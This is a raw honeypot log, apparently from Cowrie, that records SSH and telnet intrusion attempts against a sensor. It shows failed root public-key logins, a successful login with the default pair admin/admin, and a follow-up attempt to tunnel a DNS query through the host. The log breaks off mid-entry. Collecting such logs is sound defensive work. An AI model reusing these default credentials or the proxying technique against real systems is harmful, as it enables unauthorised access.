{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2207,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11e335c366b","protocol":"telnet","message":"New connection: 149.86.143.242:2207 (10.17.0.5:23) [session: f11e335c366b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:31:53.588984Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55600,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b642b04cf0a","protocol":"telnet","message":"New connection: 50.6.8.71:55600 (10.17.0.5:23) [session: 6b642b04cf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:32:20.129065Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":45380,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6c912fe77c1","protocol":"telnet","message":"New connection: 3.132.26.232:45380 (159.203.135.109:23) [session: f6c912fe77c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:32:29.184126Z"}
{"eventid":"cowrie.session.closed","duration":10.020848274230957,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:32:39.204860Z","src_ip":"3.132.26.232","session":"f6c912fe77c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.939295053482056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:32:55.068233Z","src_ip":"50.6.8.71","session":"6b642b04cf0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.109.103.118","src_port":44347,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c0d4dd9431","protocol":"telnet","message":"New connection: 187.109.103.118:44347 (10.17.0.5:23) [session: 79c0d4dd9431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:34.802272Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":34574,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dee48a0f0c0","protocol":"ssh","message":"New connection: 167.114.156.169:34574 (10.17.0.5:22) [session: 6dee48a0f0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.632584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.637499Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.655621Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:1e:29:56:0c:f4:d3:77:77:0e:93:d5:bb:45:1c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFFVwrzrZh/taTEqb2bBrdUQcLj08CT9+Xlz56kqprCmblvGm2nha9ffL42x6NrLaa+kzNmApmzb7nt5FxHw4B3F2B9jNbnBBLTJe01gsr/56cEn2oxHG00AEZQTM0GQsaqlCQBHuEHkQjeBeX30soi3afyrPyZgZzVpF3CsLfcy5nfKb2w9hbEU+GSxxDYmti522ORAJjbJP5ff/ddaSRuuyYmdJ/yOsh8CgEVBCy2etas2ty3/RPo3MpcsvStnTePgifADk4Lo4Ddavt1OmnCC7hI8NQSn3aaZWduCy00ZeYd0P8biyLaat0Ar7utTVDPOXaz00nLyFzltWJiuQp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:1e:29:56:0c:f4:d3:77:77:0e:93:d5:bb:45:1c:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.728261Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:1e:29:56:0c:f4:d3:77:77:0e:93:d5:bb:45:1c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFFVwrzrZh/taTEqb2bBrdUQcLj08CT9+Xlz56kqprCmblvGm2nha9ffL42x6NrLaa+kzNmApmzb7nt5FxHw4B3F2B9jNbnBBLTJe01gsr/56cEn2oxHG00AEZQTM0GQsaqlCQBHuEHkQjeBeX30soi3afyrPyZgZzVpF3CsLfcy5nfKb2w9hbEU+GSxxDYmti522ORAJjbJP5ff/ddaSRuuyYmdJ/yOsh8CgEVBCy2etas2ty3/RPo3MpcsvStnTePgifADk4Lo4Ddavt1OmnCC7hI8NQSn3aaZWduCy00ZeYd0P8biyLaat0Ar7utTVDPOXaz00nLyFzltWJiuQp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.732350Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:a9:38:54:eb:09:e9:5c:1d:7f:82:9b:88:4b:f7:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTGabc27+lpG8wNBXVzXMNLnCB9b2esL+OCqD/7g6g4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ff:a9:38:54:eb:09:e9:5c:1d:7f:82:9b:88:4b:f7:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.751928Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:a9:38:54:eb:09:e9:5c:1d:7f:82:9b:88:4b:f7:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTGabc27+lpG8wNBXVzXMNLnCB9b2esL+OCqD/7g6g4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.755990Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:d1:dd:3a:9f:0c:94:75:82:cc:5a:d2:f4:fc:13:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCppe+28f8HXCaTNINYVTKkj7AruwDft5WOWK8bxjkxUh0NW3p5APFYIt4Axoy6u/piFgGaCcyaxRt0uguCnkkfIw54hsWODowSIIQLJpcMIXdWp5JIqxW9FzjNRhpCSfe8JbbE3mlM+fiw9KJhSSiMCfgNuRI+Lfg73M2ez+uXac/IvM4ns9LkPmfS0kiU6wGm+G29Zu3brdkQBriX+sRmTvAVkAQVLF3xJ9+08M66gvKjA1zA+CHLhVEgrw7lFnMAqyuAaF44hmgYK0eX2Tm8HTNhvOXZfxwyZbHakC2YwwnC/p+CYcX/jQ0gX4XVCM8CrsOvc7C5eoSw5+7lS0+x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:d1:dd:3a:9f:0c:94:75:82:cc:5a:d2:f4:fc:13:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.775924Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:d1:dd:3a:9f:0c:94:75:82:cc:5a:d2:f4:fc:13:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCppe+28f8HXCaTNINYVTKkj7AruwDft5WOWK8bxjkxUh0NW3p5APFYIt4Axoy6u/piFgGaCcyaxRt0uguCnkkfIw54hsWODowSIIQLJpcMIXdWp5JIqxW9FzjNRhpCSfe8JbbE3mlM+fiw9KJhSSiMCfgNuRI+Lfg73M2ez+uXac/IvM4ns9LkPmfS0kiU6wGm+G29Zu3brdkQBriX+sRmTvAVkAQVLF3xJ9+08M66gvKjA1zA+CHLhVEgrw7lFnMAqyuAaF44hmgYK0eX2Tm8HTNhvOXZfxwyZbHakC2YwwnC/p+CYcX/jQ0gX4XVCM8CrsOvc7C5eoSw5+7lS0+x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.780981Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:c5:77:fe:96:44:47:5a:d9:a2:bd:8a:39:c2:fc:52","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALgp9Hj+rsveMrkPJRu3jnVImzHDT9xip9TEue8EAz+cop+ucA1Ptlt8aeOFA4U8cauHdUSFI/fjEpVuncf7UPlr6PWUgJrhdPKBVS/tY0nbG4u/l1KML8pm4ERNsOf6Ky6Dry5r8EJb2yLb5WmH4U4IMVtNjNPeKHSBzejkAjmHAAAAFQDKEPrgA+APlP8/0GIOF/vIIIPFIQAAAIEAo/PRVKtLHRTxnBQo8ertNn3p+EjhTESWKiyvHwhB0hSoghzfFFarlfA++I11nVAsD35gJnkJUadJ3SpkR4nO25FCFgwBdlUbwTcbhz/mZw6mJKoBLWSkMlsxVf5iX2b3q3/GZd39bJJIE/eHcdz722mAb5KT4Wft/bRBsG5zL5EAAACBAKubaXpe4Uoiiqp5hb3uvmvTaQdKBiKwSmhS0CPDniWIisPvfXMV7r2rai/eyZFYQzbaxpJzPzLZfWPDshr8j41QjmlgFjnSMgF3zwxhHH4DBuVMhEi90Z912JdBdyOOuuY7I5iZLk03QJzOs/hyilIY3nRzRlJTT96CgOpr9Wwo","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bc:c5:77:fe:96:44:47:5a:d9:a2:bd:8a:39:c2:fc:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.800058Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:c5:77:fe:96:44:47:5a:d9:a2:bd:8a:39:c2:fc:52","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALgp9Hj+rsveMrkPJRu3jnVImzHDT9xip9TEue8EAz+cop+ucA1Ptlt8aeOFA4U8cauHdUSFI/fjEpVuncf7UPlr6PWUgJrhdPKBVS/tY0nbG4u/l1KML8pm4ERNsOf6Ky6Dry5r8EJb2yLb5WmH4U4IMVtNjNPeKHSBzejkAjmHAAAAFQDKEPrgA+APlP8/0GIOF/vIIIPFIQAAAIEAo/PRVKtLHRTxnBQo8ertNn3p+EjhTESWKiyvHwhB0hSoghzfFFarlfA++I11nVAsD35gJnkJUadJ3SpkR4nO25FCFgwBdlUbwTcbhz/mZw6mJKoBLWSkMlsxVf5iX2b3q3/GZd39bJJIE/eHcdz722mAb5KT4Wft/bRBsG5zL5EAAACBAKubaXpe4Uoiiqp5hb3uvmvTaQdKBiKwSmhS0CPDniWIisPvfXMV7r2rai/eyZFYQzbaxpJzPzLZfWPDshr8j41QjmlgFjnSMgF3zwxhHH4DBuVMhEi90Z912JdBdyOOuuY7I5iZLk03QJzOs/hyilIY3nRzRlJTT96CgOpr9Wwo","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.803835Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:48:de:c3:a6:f8:a4:62:be:0b:f1:50:c5:af:fb:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAouIjteGbum01YJnJg4LSP4fviIMEp0GsZWrDns13+oSkv0aMHEOmzG3Mt0aKeJl+7yvfYSt+VS8J7462IMep9jHmPgkgUFV6VlEZwYMQX9Al2Z7VJfv9KH6Vr1CSgQeRNgxopi28BaLpJalnnxGbfebsXJ7QNZ5i4FNj7IdPqeGJfqi7cYeN0xF0axqxYBNPHszSArW0Vs+0KL/9/oV4JoSR1HTfvT/+rjB9eKtc66qGpEjZhRf6BGF4p8chvpO9oLBuPVO1RNhpLTrRvoQZP4IP8zChMyAiKCjCql06G8sVXQPZ9KIQVa8JR4nMTEAqqp77YQ1XzOh8TdSTxnfk/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:48:de:c3:a6:f8:a4:62:be:0b:f1:50:c5:af:fb:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.823491Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:48:de:c3:a6:f8:a4:62:be:0b:f1:50:c5:af:fb:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAouIjteGbum01YJnJg4LSP4fviIMEp0GsZWrDns13+oSkv0aMHEOmzG3Mt0aKeJl+7yvfYSt+VS8J7462IMep9jHmPgkgUFV6VlEZwYMQX9Al2Z7VJfv9KH6Vr1CSgQeRNgxopi28BaLpJalnnxGbfebsXJ7QNZ5i4FNj7IdPqeGJfqi7cYeN0xF0axqxYBNPHszSArW0Vs+0KL/9/oV4JoSR1HTfvT/+rjB9eKtc66qGpEjZhRf6BGF4p8chvpO9oLBuPVO1RNhpLTrRvoQZP4IP8zChMyAiKCjCql06G8sVXQPZ9KIQVa8JR4nMTEAqqp77YQ1XzOh8TdSTxnfk/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.826913Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:39.849029Z","src_ip":"167.114.156.169","session":"6dee48a0f0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0097815990448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:48.015925Z","src_ip":"149.86.143.242","session":"94cc7c3fe96c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2081,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7c345326729","protocol":"telnet","message":"New connection: 149.86.143.242:2081 (10.17.0.5:23) [session: b7c345326729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:48.447898Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7730,"dst_ip":"10.17.0.5","dst_port":22,"session":"d239e0e37e39","protocol":"ssh","message":"New connection: 87.251.64.176:7730 (10.17.0.5:22) [session: d239e0e37e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:49.371389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:49.374590Z","src_ip":"87.251.64.176","session":"d239e0e37e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:49.469693Z","src_ip":"87.251.64.176","session":"d239e0e37e39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:49.760354Z","src_ip":"87.251.64.176","session":"d239e0e37e39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:49.860141Z","session":"d239e0e37e39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:49.956814Z","src_ip":"87.251.64.176","session":"d239e0e37e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:50.055154Z","src_ip":"87.251.64.176","session":"d239e0e37e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00404739379883,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:53.592892Z","src_ip":"149.86.143.242","session":"f11e335c366b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2069,"dst_ip":"10.17.0.5","dst_port":23,"session":"c67616a64efc","protocol":"telnet","message":"New connection: 149.86.143.242:2069 (10.17.0.5:23) [session: c67616a64efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:53.936549Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2092,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a6a8d5e3f4","protocol":"telnet","message":"New connection: 149.86.143.242:2092 (10.17.0.5:23) [session: 96a6a8d5e3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:33:54.619674Z"}
{"eventid":"cowrie.session.closed","duration":33.76384258270264,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:34:08.566015Z","src_ip":"187.109.103.118","session":"79c0d4dd9431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00925135612488,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:35:48.457024Z","src_ip":"149.86.143.242","session":"b7c345326729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2227,"dst_ip":"10.17.0.5","dst_port":23,"session":"6327cc45aef1","protocol":"telnet","message":"New connection: 149.86.143.242:2227 (10.17.0.5:23) [session: 6327cc45aef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:35:48.734304Z"}
{"eventid":"cowrie.session.closed","duration":120.00556755065918,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:35:53.941988Z","src_ip":"149.86.143.242","session":"c67616a64efc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00166273117065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:35:54.621230Z","src_ip":"149.86.143.242","session":"96a6a8d5e3f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2108,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f7fd1c9b17f","protocol":"telnet","message":"New connection: 149.86.143.242:2108 (10.17.0.5:23) [session: 3f7fd1c9b17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:35:55.662252Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2106,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c9345988a9a","protocol":"telnet","message":"New connection: 149.86.143.242:2106 (10.17.0.5:23) [session: 1c9345988a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:00.632992Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.11","src_port":44038,"dst_ip":"10.17.0.5","dst_port":22,"session":"3595c480dddf","protocol":"ssh","message":"New connection: 103.203.57.11:44038 (10.17.0.5:22) [session: 3595c480dddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:42.026934Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:42.038290Z","src_ip":"103.203.57.11","session":"3595c480dddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":35486,"dst_ip":"10.17.0.5","dst_port":22,"session":"45f8255cc7b9","protocol":"ssh","message":"New connection: 198.46.134.148:35486 (10.17.0.5:22) [session: 45f8255cc7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.730486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.735647Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-s